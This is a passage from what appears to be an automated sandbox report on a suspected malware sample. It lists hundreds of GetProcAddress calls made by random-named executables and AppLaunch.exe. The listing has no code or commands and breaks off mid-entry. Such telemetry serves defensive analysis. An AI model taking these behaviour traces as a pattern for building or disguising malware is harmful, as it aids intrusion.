called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005132) "pt9KK68.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00005296) "pt9KK68.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005296) "Vd6Yw65.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00005312) "Vd6Yw65.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005312) "vQ1qt36.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter GetLayout (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter GdiRealizationInfo (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter FontIsLinked (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter GetTextFaceAliasW (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter GetFontAssocStatus (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter RegisterClassNameW (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter EnableThemeDialogTexture (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter OpenThemeData (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter GetThemeBool (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter GdiIsMetaPrintDC (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter CoRegisterInitializeSpy (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter CoRevokeInitializeSpy (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter CLSIDFromOle1Class (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter GetCatalogObject (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter GetCatalogObject2 (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter BufferedPaintInit (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter BufferedPaintRenderAnimation (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter GetThemeTransitionDuration (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter BeginBufferedAnimation (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter IsThemeBackgroundPartiallyTransparent (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter DrawThemeParentBackground (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter DrawThemeBackground (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter GetThemeBackgroundContentRect (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter DrawThemeText (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter EndBufferedAnimation (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter CloseThemeData (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter BufferedPaintStopAllAnimations (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter BufferedPaintUnInit (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005452) "vQ1qt36.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005452) "3Hf64Pr.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00005500) "3Hf64Pr.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005500) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005512) "AppLaunch.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005512) "4na449fr.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005428) "4na449fr.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005428) "4na449fr.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005428) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter IsAppThemedW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateActCtx (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateActCtxA (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterWindowMessage (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterWindowMessageW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter SortGetHandle (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter SortCloseHandle (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW 